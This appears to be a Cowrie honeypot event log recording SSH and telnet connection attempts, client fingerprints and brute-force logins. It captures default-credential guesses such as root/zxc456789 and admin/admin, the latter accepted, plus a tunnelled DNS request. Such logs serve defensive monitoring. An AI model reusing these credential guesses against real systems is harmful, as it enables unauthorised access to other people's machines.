{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49250,"dst_ip":"10.17.0.5","dst_port":22,"session":"b678d2908a1e","protocol":"ssh","message":"New connection: 194.59.206.2:49250 (10.17.0.5:22) [session: b678d2908a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:19.614380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:19.618738Z","src_ip":"194.59.206.2","session":"b678d2908a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:19.719451Z","src_ip":"194.59.206.2","session":"b678d2908a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:19.808835Z","src_ip":"194.59.206.2","session":"b678d2908a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.819262504577637,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:21.197461Z","src_ip":"174.138.46.234","session":"296cdb4a2f18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53882,"dst_ip":"159.203.135.109","dst_port":23,"session":"40a849b34b0b","protocol":"telnet","message":"New connection: 174.138.46.234:53882 (159.203.135.109:23) [session: 40a849b34b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:25.946553Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":14904,"dst_ip":"159.203.135.109","dst_port":22,"session":"a646eef0fd52","protocol":"ssh","message":"New connection: 181.39.158.30:14904 (159.203.135.109:22) [session: a646eef0fd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:29.928723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:29.933384Z","src_ip":"181.39.158.30","session":"a646eef0fd52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:30.058619Z","src_ip":"181.39.158.30","session":"a646eef0fd52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:30.589444Z","src_ip":"181.39.158.30","session":"a646eef0fd52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:31.718649Z","src_ip":"181.39.158.30","session":"a646eef0fd52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.980667591094971,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:31.927114Z","src_ip":"174.138.46.234","session":"40a849b34b0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57328,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d9bd9a05845","protocol":"telnet","message":"New connection: 174.138.46.234:57328 (159.203.135.109:23) [session: 8d9bd9a05845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:38.823702Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57694,"dst_ip":"159.203.135.109","dst_port":23,"session":"c00f5d9c1bf6","protocol":"telnet","message":"New connection: 174.138.46.234:57694 (159.203.135.109:23) [session: c00f5d9c1bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:39.340078Z"}
{"eventid":"cowrie.session.closed","duration":4.16317343711853,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:42.986769Z","src_ip":"174.138.46.234","session":"8d9bd9a05845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58874,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c73f86b9267","protocol":"telnet","message":"New connection: 174.138.46.234:58874 (159.203.135.109:23) [session: 6c73f86b9267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:43.049518Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58894,"dst_ip":"159.203.135.109","dst_port":23,"session":"cab2d5fcdfd7","protocol":"telnet","message":"New connection: 174.138.46.234:58894 (159.203.135.109:23) [session: cab2d5fcdfd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:44.078989Z"}
{"eventid":"cowrie.session.closed","duration":7.0029120445251465,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:46.342881Z","src_ip":"174.138.46.234","session":"c00f5d9c1bf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.152.240.58","src_port":50229,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8360b580504","protocol":"telnet","message":"New connection: 119.152.240.58:50229 (159.203.135.109:23) [session: a8360b580504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:46.870025Z"}
{"eventid":"cowrie.session.closed","duration":7.9143829345703125,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:50.963789Z","src_ip":"174.138.46.234","session":"6c73f86b9267","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.14812707901001,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:52.226993Z","src_ip":"174.138.46.234","session":"cab2d5fcdfd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.297916412353516,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:01.167858Z","src_ip":"119.152.240.58","session":"a8360b580504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":33150,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d97c047bcae","protocol":"ssh","message":"New connection: 103.69.96.120:33150 (159.203.135.109:22) [session: 1d97c047bcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:03.929702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:03.939688Z","src_ip":"103.69.96.120","session":"1d97c047bcae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:04.193969Z","src_ip":"103.69.96.120","session":"1d97c047bcae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc456789","message":"login attempt [root/zxc456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:05.243016Z","src_ip":"103.69.96.120","session":"1d97c047bcae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36958,"dst_ip":"159.203.135.109","dst_port":23,"session":"98dedb6d06a8","protocol":"telnet","message":"New connection: 174.138.46.234:36958 (159.203.135.109:23) [session: 98dedb6d06a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:06.480239Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:06.499048Z","src_ip":"103.69.96.120","session":"1d97c047bcae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38024,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f4e1d004da8","protocol":"telnet","message":"New connection: 174.138.46.234:38024 (159.203.135.109:23) [session: 9f4e1d004da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:10.280126Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38500,"dst_ip":"159.203.135.109","dst_port":23,"session":"88ca3415f9e9","protocol":"telnet","message":"New connection: 174.138.46.234:38500 (159.203.135.109:23) [session: 88ca3415f9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:10.640617Z"}
{"eventid":"cowrie.session.closed","duration":5.081117153167725,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:11.561169Z","src_ip":"174.138.46.234","session":"98dedb6d06a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16754,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5b26944db18","protocol":"ssh","message":"New connection: 87.251.64.176:16754 (10.17.0.5:22) [session: d5b26944db18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:13.273676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:13.278926Z","src_ip":"87.251.64.176","session":"d5b26944db18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:13.378369Z","src_ip":"87.251.64.176","session":"d5b26944db18","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:13.667246Z","src_ip":"87.251.64.176","session":"d5b26944db18","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:13.766239Z","session":"d5b26944db18","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:13.864416Z","src_ip":"87.251.64.176","session":"d5b26944db18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:14.097887Z","src_ip":"87.251.64.176","session":"d5b26944db18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.902973890304565,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:18.543492Z","src_ip":"174.138.46.234","session":"88ca3415f9e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42454,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ee6e966a0ee","protocol":"telnet","message":"New connection: 174.138.46.234:42454 (159.203.135.109:23) [session: 8ee6e966a0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:24.686021Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42744,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aeb2503a45e","protocol":"telnet","message":"New connection: 174.138.46.234:42744 (159.203.135.109:23) [session: 5aeb2503a45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:25.710667Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42758,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdb449a1cc26","protocol":"telnet","message":"New connection: 174.138.46.234:42758 (159.203.135.109:23) [session: fdb449a1cc26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:25.745295Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":54352,"dst_ip":"159.203.135.109","dst_port":22,"session":"158146187278","protocol":"ssh","message":"New connection: 181.39.158.30:54352 (159.203.135.109:22) [session: 158146187278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:25.805211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:25.808906Z","src_ip":"181.39.158.30","session":"158146187278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:25.927404Z","src_ip":"181.39.158.30","session":"158146187278","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"77777777","message":"login attempt [ubuntu/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:26.430513Z","src_ip":"181.39.158.30","session":"158146187278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:27.553648Z","src_ip":"181.39.158.30","session":"158146187278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.937208652496338,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:30.682399Z","src_ip":"174.138.46.234","session":"fdb449a1cc26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44566,"dst_ip":"159.203.135.109","dst_port":23,"session":"d59c0559f8c7","protocol":"telnet","message":"New connection: 174.138.46.234:44566 (159.203.135.109:23) [session: d59c0559f8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:32.125893Z"}
{"eventid":"cowrie.session.closed","duration":7.627947092056274,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:33.338510Z","src_ip":"174.138.46.234","session":"5aeb2503a45e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.919090270996094,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:34.604988Z","src_ip":"174.138.46.234","session":"8ee6e966a0ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.910957098007202,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:37.036713Z","src_ip":"174.138.46.234","session":"d59c0559f8c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":42772,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e9923c3671","protocol":"telnet","message":"New connection: 217.182.190.44:42772 (10.17.0.5:23) [session: b8e9923c3671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:38.426146Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.58.237.181","src_port":53996,"dst_ip":"10.17.0.5","dst_port":23,"session":"e58a351c7fd0","protocol":"telnet","message":"New connection: 154.58.237.181:53996 (10.17.0.5:23) [session: e58a351c7fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:41.402328Z"}
{"eventid":"cowrie.session.closed","duration":12.821712255477905,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:14:54.223937Z","src_ip":"154.58.237.181","session":"e58a351c7fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.94998002052307,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:00.230029Z","src_ip":"174.138.46.234","session":"9f4e1d004da8","protocol":"telnet"}
